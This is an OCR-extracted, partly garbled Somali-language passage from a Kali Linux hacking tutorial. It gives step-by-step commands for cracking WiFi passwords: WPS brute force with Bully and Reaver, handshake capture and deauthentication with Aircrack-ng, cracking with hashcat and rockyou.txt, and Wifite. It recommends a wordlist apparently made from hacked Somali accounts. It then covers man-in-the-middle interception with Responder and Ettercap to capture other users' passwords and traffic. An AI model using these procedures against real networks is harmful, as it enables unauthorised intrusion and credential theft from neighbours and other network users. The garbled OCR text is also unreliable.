Markaan rabno inaan haking ku samayno wifi ga kali - Password Attacks
waxa uu leyay qalab la yidha Wireless Hacking ' '**E““_M_

se Engineering

Tools ,wifi markad kali qorayso waa waln0 ama sidad
ku arag tay ifconfig markaad galiso inay jiran eth0 kaso
ah ethonet conction ama xadhig cable ku xidhan iyo

- Forensics
tun0 oo ah openvpn ama vpn ayaad internet gagu _ Reporting Tools
yahay marka wifi = walnO

Sec Links

Wireless Hacking Tools waxa waye qalabkaad arkayso

78 Debian Live user

hadad furto khanada applications ga ku waso ah qalab

TerminaL Emulator
. File Manager
r’, Text Editor
@ Web Browser
N Kali Linux
2 Kali Docs
Kali Bugs
Offensive Security Training

Exploit Database

loo gu talagalay wifi ina lagu tijabiyo oo la eego gabka loo jabin karo imkana inta oo gu

muhiimsan ayaan sheegayna iyo isticmalkooda.
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Qalab lugad C ah oo fuliya weerar( brutal force ) xoog leh oo WPS ah oo
ka faa'iideysanaya cilladaha nagshadeynta ee aaladda WPS la ilaaliyo.
Waxay u muuqgataa inay tahay aalad ka soo hagaagtay koodhkii loo
yagaan 'Reaver code', maadaama ay ku jirto ku-tiirsanaanta xaddidan,
processor-ka la xoojiyay iyo
waxgabadka xusuusta,
maaraynta saxda ah ee
khaladaadka, iyo go'aanno

ballaaran. Waxaa ka mid ah kor u

gaadis kala duwan oo ku saabsan
ogaanshaha iyo maaraynta xaaladaha aan caadiga ahayn. Waxaa lagu
tijaabiyaa dhowr iibiyeyaasha Wi-Fi ee lahaa habeynno gaabeyn kala
duwan oo leh natiijooyin guul leh. Waa il furan oo si gaar ah loogu
talagalay nidaamyada hawlgalka Linux. Bully waxa lagu isticamla
terminalka oo waxad glinaysa bully kadib hadu yay imiko kale bully -e
6F36E6

wlanomon markaad rabtid hadunu ku gu jiri waxaad kula soo dagta apt install bully ama git clone
https://github.com/wiire-a/bully


https://github.com/wiire-a/bully
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Amarada kala duwan ee bully

-d, --pixiewps :Isku day inaad isticmaasho pixiewps [No]

-a, --acktime N : Hoos udhac / aan la iska indhatirin [Auto]

-r, --retries N :Dib u dir baakadaha N jeer aan xanuunsaneyn [2]
-m, --ml3time N : Hoos ayuu udhacay / la iska indhatiray [Auto]

-t, --timeout N :waa la qgrinaya / waa la iska indhatiray [Auto]

-1, --pinldelay M,N :Daahi M ilbirigsi kasta Nth nack at M5 [0,1]

-2, --pin2delay M,N : Daahi M ilbirigsi kasta oo Nth ah oo Mack ah [5,1]
-A, --noacks : Dami jeegga ACK ee xirmooyinka la diray [No]

-C, --nocheck : Ka gudub ansaxinta CRC / FCS (waxgabad) [No]

-D, --detectlock : Soo ogow qufulka WPS ee uusan soo sheegin AP [No]
-E, --eapfail : Fashilka EAP wuxuu joojiyaa isweydaarsiga kasta [No]
-L, --lockignore : Iska dheji qufulada WPS ee ay soo tabisay AP

-M, --m57nack I M5 / M7 waqti go'an ayaa loola dhagmay sidii WSC_NACK's
-N, --nofcs : Baakadaha kuma jiraan goobta FCS [Auto]

-P, --probe : U adeegso codsi baaris AP aan Maya ahayn [No]

-R, --radiotap : Kasoo gaad in madaxyada radiotap ay joogaan [Auto]
-W, --windows?7 : Masquerade oo ah diiwaanka windows 7 [No]

-Z, --suppress : Cabudhinta baakadka xagjirka algorithm [No]

-V, --version :Daabac faahfaahinta nooca iyo bixitaanka

-h, --help :Muuji macluumaadkan caawimaad

A

Reaver:

Siloo soo ceshado passphras-ka WPA | WPA2, Reaver wuxuu qaataa xoog
caayaan oo ka dhan ah biinwaanada diiwaanka Wi-Fi ee la ilaaliyo (WPS).
Reaver waxaa loo dhisay inuu noqgdo galab lagu kalsoonaan karo oo wax
ku ool ah oo weerarka WPS ah waxaana lagu tijaabiyaa meelo badan oo

marin-u-helid ah iyo gaababka WPS.

Reaver way soo ceshan kartaa barta marin-u-helidda ee la rabay WPA /
WPA2 oo lagu hubiyay lambarka sirta ah 4-10 saacadood, iyadoo kuxiran
barta Access. Laakiin ficil ahaan dhabta ah, waqtigan waxaa loo dhimi

karaa kala badh. Raver waxa lagu isticamla terminalka oo waxad glinaysa
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Reaver kadib hadu vyay imiko kale reaver -i wlanomon -b
00:90:4C:C1:AC:21 -vv

markaad rabtid hadunu ku gu jiri waxaad kula soo dagta apt install

Reaver ama git clone https://github.com/t6x/reaver-wps-fork-t6x

Amarada kala duwan ee rever

-p, --pin=<wps pin> Isticmaal pin-ga la cayimay (wuxuu noqon karaa xarig aan macquul ahayn ama 4/8
lambar WPS pin ah)

-d, --delay=<seconds> Deji dib udhaca udhaxeeya isku dayga biin [1]

-l, --lock-delay=<seconds> Wagqti u samee inaad sugto haddii AP qufulka WPS pin isku dayo [60]
-g, --max-attempts=<num>  Jooji ka dib markii num pin la isku dayo

-x, --fail-wait=<seconds>  Waqtiga u seexo kadib 10 guuldarooyin lama filaan ah [0]

-r, --recurring-delay=<x:y> Seexo ilbirigsiyo kasta isku day kasta oo pin pin ah

-t, --timeout=<seconds> Deji muddada helitaanka [10]

-T, --ms7-timeout=<seconds> Deji muddada M5 [ M7 ee wakhtigu ka dhacayo [0.40]

-A, --no-associate lama shageeye AP (ururka waa in lagu sameeyaa app kale)

-N, --no-nacks Ha soo dirin farriimaha NACK markii dalabyo lacag la'aan ah la helay
-S, --dh-small Isticnaal furayaasha DH ee yar si aad u hagaajiso xawaaraha dildilaaca
-L, --ignore-locks Iska ilow xaalad xiran oo ay soo warisay bartilmaameedka AP

-E, --eap-terminate Jooji kulan kasta oo WPS ah xirmo EAP FASHILAN

-J, --timeout-is-nack ugu eg sidii NACK (DIR-300/320)

-F, --ignore-fcs Iska ilow khaladaadka gafiska shaashadda
-w, --winy Mimic diiwaanka Windows 7 [Been]
-K, --pixie-dust Run weerar pixiedust

-Z Run weerar pixiedust



https://github.com/t6x/reaver-wps-fork-t6x
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Aircrack-ng:

Aircrack-ng waa qalab dhameystiran oo galab lagu giimeeyo amniga
isku xirka WiFi.

Waxay diiradda saaraysaa meelaha kala duwan ee amniga WiFi:

Korjoogteyn: Qabashada iyo
dhoofinta xogta feylasha qoraalka si

loogu sii sii wado qalab saddexaad

Weerarka: Weerarka ku celiska ah,
xaqiijinta, meelaha marinka been

abuurka ah iyo kuwa kale iyadoo la

adeegsanayo cirbadda la isku duro

Tijaabinta: Hubinta kaararka WiFi iyo awoodaha wadaha (gabashada
iyo duritaanka)

Dillaac: WEP iyo WPA PSK (WPA 1 iyo 2)

Dhammaan galabka waa xariig amar oo u oggolaanaya qorista culus.
GUI badan ayaa ka faa'iideystay muugaalkan. Waxay ka shageysaa ugu
horreyn Linux laakiin sidoo kale Windows, OS X, FreeBSD, OpenBSD,

NetBSD, iyo sidoo kale Solaris iyo xitaa eComStation 2.
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Istic malka Aircrack-ng

Aircrack-ng waa qalabka kali ee ugu cansan hackinga kaso aan oo wifi
kasta lagu jabin karo marka waxaan smaynay na 0o aan eegayna isda

loo isticnalo

Marka ugu horaysa waxa lagaga bahan yay inaad haysati computer leh
moniter mode hadi kale wa xaad soo ibsata usb moniter sidad sawirka

ku arkaysid

Monitor Mode: Ka bilow liistada isku-xirnaanta wireless-ka ee taageera

gaabka kormeerka leh:

airmon-ng

Haddii aadan arkin is-dhexgal ku qoran markaa kaarkaaga wireless-ka

ahi ma taageerayo habka kormeeraha monitor

Waxaan u gaadaneynaa in magacaaga interface wireless uu yahay
wlano laakiin hubi inaad isticmaasho magaca saxda ah haddii uu kan
kaga duwan yahay. Marka xigta, waxaan udhigi doonnaa isdhexgalka

gaabka kormeerka:

airmon-ng start wlano
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Gali iwconfig. Waa inaad hadda aragtaa qaab cusub oo ah gaabka
kormeeraha oo taxan (oo laga yaabo inuu yahay mono ama wlanomon)

hadi kale gali apt install wifi-tool waa uu ku soo dagi.

Raadi Bartilmaameedkaaga: Ku billow dhageysiga 802.11
Muugaallada Beacon oo ay faafinayaan routerrada wireless-ka ah ee u

dhow adoo adeegsanaya galabkaaga kormeeraha.

airodump-ng mono

Waa inaad aragtaa wax soo saar la mid ah waxa hoose.

CH 13 ][ Elapsed: 52 s ][ 2017-07-23 15:49

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

14:91:82:F7:52:EB -66 205 26 © 1 54e OPN belkin.2e8.guests

14:91:82:F7:52:E8 -64 212 56 © 1 54e WPA2 CCMP PSK belkin.2e8
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14:

14:

9C:

00:

06

78:

9C:

BC:

EC:

22:

22:

5C:

23:

26:

71:

34:

EE:

1A:

DB:

DB:

8E

69

BB:

9C:

26:

7B:

59:

1A:

1A:

:C9

:AD

75:

99:

9F:

8F

36

DB:

DB:

:AB

:AF:

ED:

67:

2E:

148

:AD:

64

66

:Co

94

69

DO

E8

28

CA

-81

-83

-81

-82

-84

-82

-85

-85

-86

44 7 @ 1 54 WPA2 CCMP <length: o>

48 0 © 1 54e. WPA2 CCMP PSK steveserro

19 @ © 3 54e WPA2 CCMP PSK hackme

350 4 © 1 54e WPA2 CCMP PSK Kaitlin’s Awesome

232 0 0 1 54e. WPA2 CCMP PSK HH2

339 0 9 1 54e. WPA2 CCMP PSK ARRIS-67D2

40 0 0 1 54e. WPA2 CCMP PSK Comcast_2EEA-EXT

119 10 @ 1 54e WPA2 CCMP PSK root

210 28 0 1 54e WPA2 CCMP PSK belkin.dca

Ujeeddooyinka demogaan, waxaan dooran doonnaa inaan jabino

lambarka sirta ah ee shabakadeyda, "hackme". Xusuusnow cinwaanka

BSSID MAC iyo lambarka kanaalka (CH) sida ay muujiyeen airodump-

ng, maadaama aan labadaba ugu baahan doonno tallaabada xigta.

4-way Handshake: WPA [ WPA2 waxay isticmaashaa 4-way

handshakeh si loo xagqiijiyo aaladaha shabakadda. Uma baahnid inaad

wax ka ogaatid waxa loola jeedo, laakiin waa inaad gabataa mid ka mid

ah handshakes si aad u jabiso lambarka sirta ah ee shabakadda.

handshakes waxay dhacaan markasta oo galab ku xirmo shabakada,
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tusaale ahaan, marka deriskaagu shagada ka soo laabto. Waxaan ku
gabaneynaa handshakes anaga oo jihayna airmon-ng si loola socdo
taraafikada shabakada bartilmaameedka iyadoo la adeegsanayo

kanaalka iyo giimaha bssid ee laga helay amarkii hore.

# replace -c and — bssid values with the values of your target network
# -w specifies the directory where we will save the packet capture

airodump-ng -c 3 — bssid 9C:5C:8E:C9:AB:CO -w . mon@
CH 6 ][ Elapsed: 1 min ][ 2017-07-23 16:09 ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

9C:5C:8E:C9:AB:CO -47 0 140 0 0 6 54e WPA2 CCMP PSK ASUS

Hadda waxaan sugeynaa... Mar alla markii aad gacanta isqabsato, waa

inaad aragto wax la mid ah

[ WPA handshake: bc:d3:c9:ef:d2:67 midigta kore ee
shaashadda, kaliya midig waqtiga hadda.

Haddii aad dareento dulgaad la'aan, oo aad ku ganacsan tahay
adeegsiga weerar firfircoon, waxaad ku qgasbi kartaa aaladaha ku xiran
shabakadda bartiimaameedka inay dib isugu xirmaan, iyaga oo u diraya
baakado caddeyn xun leh. Tani waxay badanaa keentaa gabashada 4-
way handshake Eeg qaybta weerarka deauth ee hoose faahfaahinta

arrintan.
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Markaad gabsato handshake, taabo ctrl + ¢ si aad u joojiso airodump-
ng. Waa inaad aragtaa feyl .cap meelkasta oo aad usheegtay airodump-
ng si aad u keydiso gabashada (oo looyagaano -o1.cap). Waxaan u
adeegsan doonnaa feylkan gabashada si aan u jabino lambarka sirta ah
ee shabakadda. Waxaan jecelahay inaan dib u badalo feylkaan si aan

uga tarjumayo magaca shabakada ee aan isku dayeyno inaan jabino.

mv ./-01.cap hackme.cap

Crack the Network Password: Tallaabada ugu dambeysa waa inaad

jabiso lambarka sirta adoo adeegsanaya handshake.

Haddii aad marin u leedahay GPU, waxaan kugula talinayaa inaad u
isticmaasho hashcat sirta oo aad jabiso. Waxaan abuuray aalad fudud
oo hashcat ka dhigaysa mid aad u fudud oo loo isticmaalo naive-
hashcat. Haddii aadan marin u helin GPU, waxaa jira adeegyo
kaladuwan oo GPU ah oo internetka ah oo aad adeegsan karto, sida
GPUHASH.me ama OnlineHashCrack. Waxa kale oo aad isku dayi

kartaa gacantaada marka aad duubeyso CPU-ka 'Aircrack-ng".

Xusuusnow in labada hab ee weerar ee hoos ku xusan ay u maleynayaan
in isticnaale ahaan vu daciif yahay adeegsigiisu. Inta badan router-yada
WPA [ WPA2 waxay la yimaadaan 12 lambar oo sir ah oo aan badnayn

oo isticmaaleyaal badani (si sax ah) uga tagaan isbadal [a'aan. Haddii
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aad isku dayeyso inaad jabiso mid ka mid ah furayaashan sirta ah,
waxaan kugula talinayaa inaad isticmaasho faylasha gaamuuska

dhererka-Wilaayaasha-Suugaanta.

Ku jabinta Naive-hashcat (lagu taliyay) Kahor intaanan jabinin furaha
adoo adeegsanaya naive-hashcat, waxaan u baahanahay inaan u
badalno feylkeena .cap una dhigno gaab faylka hashcat u

dhigma .hccapx. Waxaad ku sameyn kartaa tan si fudud adoo u soo
raraya faylka .cap https://hashcat.net/cap2hccapx/or adoo
si toos ah u adeegsanaya galabka loo yaqgaan
"cap2hccapx tool'

cap2hccapx.bin hackme.cap hackme.hccapx

kadib waxan istic malayana naive-hashcat siaan hackmehccapx u
crack garyno hash giisa, ha ka bigin naive-hashcat kali horay oo gu
dag santahay oo waxay la socotay hash cat oo cutubka password

cracking aan ku sharaxi doono.

Hadaba gali intan sii aan u jabino hash dii
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HASH FILE=hackme.hccapx POT_FILE=hackme.pot
HASH _TYPE=2500 ./naive-hashcat.sh

Naive-hashcat wuxuu adeegsadaa qaamuusyo kala duwan, gaanuun,
isku dhaf, iyo maaskaro (smart brute-force) weerarada waxayna gaadan
kartaa maalmo ama xitaa bilo in laga hor tago furayaasha sirta ah
Furaha sirta ah ee dillaacsan ayaa lagu keydin doonaa hackme.pot,

markaa fiiri feylkaan xilliyo go'an Markaad jabiso furaha sirta ah, waa

inaad u aragtaa wax sidan oo kale ah waxyaabaha ku jira POT_FILE:

e30a5a57+c00211fc9+57a4491508cc3:9c5c8ec9abch:acd1b8d
£d971:ASUS:hacktheplanet

markay sidan ku soo baxdo waxad ku arki hash da inu password kii

udanbeeyo oo ah hacktheplanet

Qabka 2aad waxa jira inaad istic mali kartiid oo ah inaad aircraker-ng
aad word list racin lahayd sida rockyou.txt oo hore ogu dagsan kali

waxaan ka helaysa diractoryga Jusr/share/wordlists/rockyou.txt.gz
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marka unzip gare, kadib sidan ugali oo -w markaad gali soo locationka

rockyou.txt u tilmaam oo ah fusr/share/wordlists/rockyou.txt.

aircrack-ng -a2 -b 9C:5C:8E:C9:AB:CO -w
/usr/share/wordlists/rockyou.txt hackme.cap

hadaba aan yara murajicaysano cutubka oo aan isku soo koobno

Nakhtiin guud

# monitor mode

airmon-ng start wlane

# radi wixii ku dhowa

airodump-ng mon@

# dhagay so hand shake kahandshake
airodump-ng -c 6 — bssid 9C:5C:8E:C9:AB:CO -w capture/ mon@

Hu##H#HHEE aircrack-ng.. ##HHH T
# crack w/ aircrack-ng

aircrack-ng -a2 -b 9C:5C:8E:C9:AB:CO -w rockyou.txt capture/-
Ql1l.cap
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Hi##H###HHE Hash cat #H#####HH#8#H

# u badal cap to hccapxcap2hc

capx.bin capture/-01.cap capture/-01.hccapx

# ku jabi naive-hashcat

HASH FILE=hackme.hccapx POT_FILE=hackme.pot
HASH TYPE=2500 ./naive-hashcat.sh

r mode on ... done
( ), updates at 5 sec interval hen rea
ireless net ets and

s, whe
works. 0 targ client found

Wifite waa aalad aad loo habeyn karo oo leh doodo kooban, waxaana
loo adeegsadaa in lagu weeraro shabakadaha ay isku garin karaan
furayaasha WEP, WPA, iyo WPS. Waxaa sidoo kale loo yagaan "deji oo
iska ilow" galab xisaabeed ee shabakadaha bilaa-waayirka ah. Waxay ku
heshaa bartilmaameedyada calaamadda xoogooda taas oo lagu cabiro
decibels (dB) waxayna bilaabaysaa inay dillaacdo AP ugu dhow marka
hore. Waxay dib-u-xagiijineysaa macaamiisha shabakad garsoodi ah si

ay si toos ah u muujiso SSID-kooda. Waxay ka kooban tahay dhowr
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miirayaal si loo caddeeyo bartilmaameedka weerarka. Waxay u beddeli
kartaa cinwaanka MAC cinwaanka bakhtiyaa-nasiibka ah ee gaarka ah
ka hor intaan la weerarin, iyo marka la dhammeeyo weerarka
cinwaanka MAC-da asalka ah ayaa dib loo soo celiyaa. Markaad baxdo,
soo koobitaanka kalfadhiga waxaa lagu soo bandhigayaa furayaal
dillaacsan, iyo furayaasha sirta ah ee dillaacsan ayaa lagu keydiyaa

faylka maxalliga ah ee loo yagaan 'cracked.txt".

Isticmalka wifite

Hadaba waxanad ka ogayn wifite marka la isicmalayo inu dhib badan oo
markasta galab ka maganyay marka aan howl galno sida loo isticmalo
wifite
wifite trabalshoot: halkan waxan eegayna inu sida dhibatooyinka kugu
imankara loo ga hortagi karo mark amaradan gali intanaad isticmalin
wifite.

« Hcxdumptool la soo dag:

e sudo apt install hcxdumptool

« Hcxpcaptool la soo dag:

e aptinstall hcxtools

« Pyritlasoodag:
e sudo apt-get install libpcap-dev
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e sudo apt-get install python2.7-dev libssl-dev zlib1g-dev libpcap-
dev

« git clone https://github.com/JPaulMora/Pyrit.qgit

e cd Pyrit

e sudo python setup.py clean

e sudo python setup.py build

e sudo python setup.py install

Hadaba markaad la soo dag to wifite qalabkiisa hadad ku isticmalay sid
vmbox ama vmware ama hadiiba aad isticmalaysid hyper visar kale

waa inaad brige adabter ka dhigtiid dhanka network setinga

vmbox waxa aad u soo dajin vmbox extion paack si aad usb2.0 ka dhig
to dhanka usb setting kadib gali usb adabter sidi markan istic makay

nayb aircark-ng

root@KALI: ~

File Edit View Search Terminal Help

(already in monitor mode)
vireless interface using

ESSID CH ENCR POWER WPS? CLIENT

gabka loogu jabiyo wifi: sidi cashsrki hore waxan isticmalayna

rockyou.txt ama waxaad la soo dagi karta fikrado.txt
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(https://github.com/fikrado/ fikrado.txt) hadu targat gagu yahay
somali wifi, fikrado.txt waa word list laga sama meeyay kumanan

acount oo somalia oo la jabiyay .

hada ba aan eeg no wifite ee maka amaradan gali.

wifite -mac -aircrack -dict Jusr/share/wordlists/rockyou.txt

e -mac | Ku garsoodi cinwaankaaga MAC adoo kala soocaya (waa
inaan loo dejin si loola socdo gaabka, ama amarkani ma shageyn
doono).

e -aircrack | Waxay u sheegtaa Wifite inaan sameyn doonno kaliya
Aircrack.

e -dict| Xullo gaamuus si aad ugu adeegsato dildilaaca erayga sirta
ah kadib gabashada gacan gaadka, haddii kale waxaad heli
doontaa feylka '.cap' Wifite-na way joojin doontaa.

Marku dhameeyo hostu ku gugu soo qoraya ama locate ku radi cap.txt
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Spoofing and Sniffing
Network Traffic

Hadaba hada baratay sida loo galo ama loo jabiyo WIFI ga, waxaan
egayna sida ethical hacker ahaan inaad markaadn WIFI ga gacanta ku

dhig tid maxa ku xig aad tirah did,

Hadaba waxanad ogayn hadu WIFI ga gacanta ku dhigo hackerku inu
sikasta ka yeeli karo hadaba cutubkeena waxaan egayna sida loo ga
farhii maha u dhexeya routerka WIFI ga kaso oo an khadka ka culaysin
karno qofka,passworka ka heli karno ama websit kasta aan oo tagayo

ka helayno .

Sniffing: waa habka ay u kormeeraan dhammaan xirmooyinka xogta
ee dhex maraya shabakadda. Wax uriyayaashu sida caadiga ah waxaa
adeegsada maamulayaasha shabakadda si ay ula socdaan oo ay u
xalliyaan taraafikada taraafikada. Halka weeraryahannadu u
adeegsadaan Sniffers-ka si ay ula socdaan oo u soo gabtaan
baakadaha xogta si ay u xadaan macluumaadka xasaasiga ah ee ay ku
jiraan ereyada sirta ah iyo koontooyinka isticmaalaha Wax uriyayaashu

waxay noqon karaan qalab ama softiweer lagu rakibay nidaamka.
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Spoofing(man in the midel attack MIMT): waa howsha uu ku soo
galo gaalku soo galiyo taraafikada been abuurka ah iskana dhigo qof
kale (ilo sharci ama hay'ad sharci ah). Is-xoqgidda waxaa lagu sameeyaa
iyadoo loo diro baakado cinwaankoodu khaldanyahay shabakadda.
Sida ugu wanaagsan ee wax looga gqaban karo waxna looga gaban karo

buufinta waa adeegsiga saxiixa dijitaalka ah.

In kasta oo Kali Linux ay la timid galab fara badan oo loogu talo galay
urinta iyo xoqidda kuwa hoos ku taxan, ayaa inta badan waxaa

adeegsada kuwa wax weerara maalmahan.

N etWO rk P rOtoca I S: A networking model is only a

representation of a network operation.
The model is not the actual network.

waa nidamka aay ku

sheekaystan
comp uterada kaso uu 0SI Model TCP/IP Protocol Suite TCP/IP Model
. Application

hackerku ka fa,idaysto ST |

[[ Presentation ]I HTTP, DNS, DHCP, FTP Application
taso ha inay ( Session ]

. ranspo TCP, UDP ranspo
protocaladasi kala ST EEmTTW
) o ) ) I[ Network ]I ICMPV. 4 ICMi’vG l[ Internet ]l

dieanyihiin imikana aan T

[[ PPP, Frame Relay, Ethernet Network Access

Physical

midmid ukala dhigi

doono
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UDP protocol: Protocol-ka 'User Datagram Protocol', ama UDP, waa
borotokoollo isgaarsiineed oo laga isticmaalo internetka oo dhan gaar
ahaan gudbinta waqtiga xasaasiga ah sida muuqaalka fiidiyowga ama
fiirinta DNS. Waxay xawaareysaa isgaarsiinta iyadoo aan si rasmi ah u
dhisin xiriir ka hor inta aan xogta la gudbin. Tani waxay u

oggolaaneysaa in xogta si dhakhso leh loogu wareejiyo,

laakiin waxay kaloo sababi kartaa in baakadaha ay ku lumaan
taraafikada - ayna abuuraan fursado dhiig-miirashada qaab weerarada
DDoS ah.

TCP protocol: hab maamuus isgaarsiineed oo ku wajahan isku
xirnaanta kaas oo fududeeya isdhaafsiga farriimaha u dhexeeya
aaladaha xisaabinta ee shabakad. Waa borotokoolka ugu caansan ee
shabakadaha adeegsada Protocol-ka Internetka (IP); wada jir mararka

gaar waxaa loogu yeeraa TCP [ IP.

TCP waxay farriimaha ka soo qaadataa codsi / server waxayna u kala
qaybisaa baakado, ka dibna ay u gudbin karaan aaladaha ku jira
shabakadda - furayaasha, routerrada, albaabbada amniga - illaa halka
loo socdo. Nambarada TCP waxay baakad walba gashaa oo dib isugu
ururisaa ka hor intaan loo dhiibin qofka qaata arjiga / serverka.
Sababtoo ah waa isku xirnaanta, waxay hubineysaa in xiriir la sameeyo
oo lailaaliyoillaa inta isdhaafsiga u dhexeeya arjiga / server-ka diraya

iyo helitaanka farriinta la dhammaystirayo.
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HTP protocol: Borotokoolka Wareejinta 'Hypertext Transfer
Protocol' (HTTP) waa borotokool heer-codsi ah oo loogu talagalay
nidaamyada macluumaadka ee loo gqaybiyey, la iska kaashaday, loona
yagaan hypermedia Tani waa aasaaska isgaarsiinta xogta ee World
Wide Web (yacni internetka) tan iyo 1990. HTTP waa borotokool guud
iyo dowlad la'aan ah oo loo isticmaali karo ujeedooyin kale iyo sidoo
kale isticmaalka kordhinta hababka codsigeeda, koodhadhka galadka,

iyo madaxyada.

Asal ahaan, HTTP waa borotokoollo isgaarsiineed oo ku saleysan TCP /
IP, oo loo isticmaalo in lagu gudbiyo xogta (faylasha HTML, feylasha
muuqaalka, natiijooyinka weydiinta, iwm.) Ee ku saabsan World Wide
Web. Dakada caadiga ah waa TCP 8o, laakiin dekedaha kale waa loo
isticmaali karaa sidoo kale. Waxay siisaa hab mideysan oo
kombiyuutarada ay ku wada xiriiri karaan. Qeexitaanka HTTP wuxuu
geexayaa sida loo codsado xogta codsadaha macaamiisha loona diro

serverka, iyo sida ay adeegeyaashu uga jawaabaan codsiyadan.

SMTP protocol: SMTP waa gayb ka mid ah lakabka arjiga ee
borotokoolka TCP /IP. Adoo adeegsanaya nidaam loo yagaan "kaydso
iyo horay u sii wad," SMTP waxay u guurisaa emaylkaaga shabakadaha
oo dhan. Waxay si dhow ula shageysaa wax la yiraahdo Wakiilka
Wareejinta Boostada (MTA) si aad ugu dirto isgaarsiintaada

kumbuyuutarka saxda ah iyo emaylka sanduuqa.
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SMTP waxay higgaadisaa oo ay hagtaa sida emaylkaagu uga guuro
MTA-ga kombiyuutarkaaga una wareego MTA kombiyuutar kale, iyo
xitaa dhowr kombuyuutar. Adiga oo adeegsanaya astaamaha "bakhaar
iyo horay" ee horay loo soo sheegay, farriinta waxay uga dhagaaqi
kartaa tallaabooyin kombiyuutarkaaga una socotaa meeshii ay ku
socotay. Talaabo kasta, Borotokoolka Wareejinta Fudud ee shagada
ayaa gudanaya shaqadiisa. Nasiib wanaag annaga, tan oo dhan waxay
ka dhacdaa daaha gadaashiisa, umana baahnin inaan fahanno ama ku
shageyno SMTP.

FTP protocol: Borotokoolka wareejinta faylka (FTP) waa xeerar ay
kombiyuutarradu raacaan si faylasha looga kala wareejiyo hal nidaam
loona wareejiyo mid kale internetka. Waxaa laga yaabaa inay u
isticmaasho ganacsi inay faylasha ka soo wareejiso hal nidaam
kombiyuutar una wareejiso mid kale, ama bogagga internetku waxay u
isticmaali karaan FTP inay ku soo rogaan ama kala soo baxaan faylasha

server-ka degellada.

SSH protocol: Borotokoolka SSH (oo sidoo kale loo yagaan Secure
Shell) waa gaab lagu hubiyo galitaanka fog ee kombiyuutarka mid kale.
Waxay bixisaa dhowr ikhtiyaar oo kale oo loogu talagalay xaqiijin xoog

leh, waxayna ilaalisaa amniga isgaarsiinta iyo sharafnimada iyadoo la
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adeegsanayo sir adag. Waxay u tahay bedel aamin ah borotokoollada
gelitaanka aan la ilaalin (sida telnet, rlogin) iyo hababka gudbinta feyl
la'aanta (sida FTP).

Hadaba hadaan baranay sida loo protocolada kala duwan ee internet ka
waxan eegi doona sida loo ga dhexda loo galo oo informasion xasaiya

loo ga helo .

'] Responder

Qalab jawaab
bixiyaha ayaa ah
aalad urinta iyo
xoqista oo ka
jawaabeysa codsiyada
adeegaha. Sida
magaca ka muuqata,

galabkani wuxuu ka

jawaabayaa oo keliya
adeegga wicitaanka adeegga adeegga Filer. Tani waxay hagaajineysaa

garsoodiga shabakadda bartilmaameedka waxayna hubineysaa
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sharcinimada Adeegga Magaca NetBIOS (NBT-NS) dabeecadaha

caadiga ah.

Imko kale hadan eegno cumputer ku xidhan WiFI procol noceyu is

ticmalya ma smtp ,ftp ama htp oo sidan u gali karna

Cadee cinwaanka IP-ka si aad ugu weecato (-i 192.168.1.202), oo awood
siinaya WPAD wakiilka khayaanada (-w On), jawaabaha netbios wredir

(-r On), iyo faro (-f On) tusale ahaan:

root@kali:~# responder -i 192.168.1.202 -w On -r On -f On
NBT Name Service/LLMNR Responder 2.0.

Please send bugs/comments to: lgaffie@trustwave.com

To kill this script hit CRTL-C

[+INBT-NS &amp; LLMNR responder started

[+]Loading Responder.conf File..

Global Parameters set:

Responder is bound to this interface:ALL

Challenge set 1s5:1122334455667788

WPAD Proxy Server is:ON

WPAD script loaded:function FindProxyForURL(url, host){if ((host ==
"localhost") || sheExpmatch(host, "localhost.*") || (host == "127.0.0.1")
| | isPlainHostName(host)) return "DIRECT"; if (dnsbomainIs(host,
"RespProxysrv") | | shExpMatch(Chost, " (*.RespProxySrv|RespProxysrv)"))
return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}

HTTP Server is:ON

HTTPS Server 1is:ON

SMB Server 1iS:ON

SMB LM support is set to:OFF

SQL Server 1is:ON

FTP Server is:ON

IMAP Server 1iS:ON

POP3 Server is:ON

SMTP Server is:ON

DNS Server 1is:ON

LDAP Server is:ON

FingerPrint Module is:ON

Serving Executable via HTTP&amp;WPAD 1is:OFF

Always Serving a Specific File via HTTP&amp;WPAD is:OFF
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xalaka waxaad ku arkaysa inu inu furanyay sever yada http,smtp,ftp
iwm oo imka waad ka fadasan karta adoo isticmalaya qgalab yadan kale

sida wireshrk ,scrpy ama ettercap

Qalabka Ettercap waa galab dhameystiran oo loogu talagalay
weerarada "nin dhexda ku jira". Qalabkani wuxuu taageersan yahay
urinta isku xirnaanta nool, marka lagu daro shaandhaynta waxyaabaha
ku jira duulimaadka. Ettercap waxay u kala gaybin kartaa borotokollo
kala duwan si firfircoon oo

dadban. Qalabkan sidoo kale @
waxaa ku jira xulashooyin »4

¢
(4

W e

e w
badan oo kala duwan oo loogu  Victim AR-anne

MITM
Connection

talagalay falangaynta
shabakadda, iyo sidoo kale
falangaynta martida.
Qalabkani wuxuu leeyahay interface GUI oo xulashooyinku way

fududahay in la isticmaalo, xitaa isticmaale cusub.
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Ettercap labada way ledey gataphic user inter face (GUI) iyo comand

line ba oo terminalka ku isticmali karta adigo galinaya ettercap

Isticmaka ettercap GUI

Mar alla markii ay bilaabato, waa inaad ku aragtaa shaashadda weyn ee

Ettercap. Waxaad arki doontaa astaanta cabsi leh ee Ettercap, iyo

dhowr

liisaska hoos-u-dhaca si aad weerarka uga bilowdo. Tallaabada xigta,

waxaan bilaabi doonnaa sahaminta "Sniff" menu.

Wagqtigan xaadirka ah, hubi inaad xiriir firfircoon ku leedahay

shabakadda ka hor intaadan sii wadin.
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ettercap Input

‘Network interface : [wlano

I Cancel H

Guji halka ay ku yaalliin shayga " Sniff ", ka dibna dooro "urinta
midaysan". Daaqgad cusub ayaa furi doonta iyada oo ku weydiineysa
inaad doorato shabakadda isku xirnaanta ee aad rabto inaad ku
dhuuqdo. Waa inaad doorataa iskuxirka shabakada ee hada kuxiran

shabakada aad weerareyso.

Imkiba iska jir vertual macine hadad ku is ticmalaysid waa eth0

Hadda, waxaad arki doontaa xoogaa qoraal ah oo xagqiijinaya in urta ay
bilaabatay, waxaadna awood u yeelan doontaa inaad marin u hesho

xulashooyin aad u horumarsan oo la heli karo sida Bartilmaameedyada,
martigaliyayaasha, Mitm, Plugins, iwm. Inta aynaan bilaabin adeegsiga

midkoodna, u baahan tahay inaanu ogaano bartilmaameedkeena
shabakada.
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Applications ~ Places v @ Ettercap v

Mon03:23 @
ettercap 0.8.2

